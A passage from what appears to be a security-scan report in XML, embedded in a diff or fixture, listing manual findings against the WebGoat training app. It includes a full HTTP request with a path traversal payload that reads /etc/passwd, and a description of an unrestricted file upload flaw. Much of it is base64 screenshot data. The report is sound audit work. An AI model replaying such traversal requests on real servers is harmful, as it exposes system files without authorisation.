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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAwQAAAH0CAYAAACD9urSAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAGHjSURBVHhe7d09VBu72uhxcdctTAcdLp23gi5Ud1NyOrLec9dKutBddke60IUy6ZJu0x1K0pHiPSt0h5J0pAvVOS5Nh7u440pjC4SQRprvGc/fe3nHeDT6+Ekz1jMf9sq9fIgeP1ZWVkTPCXrc+8WbHjN+YtIUr0n5OXS13uVLkCMCCCCAAALLLbDS94BgubuX1iGAAAIIIIAAAgggkC7wvwBCAAEEEEAAAQQQQACB/goQEPS372k5AggggAACCCCAAAKCgIBBgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51P0xFAAAEEEEAAAQQQICBgDCCAAAIIIIAAAggg0GMBAoIedz5NRwABBBBAAAEEEECAgIAxgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51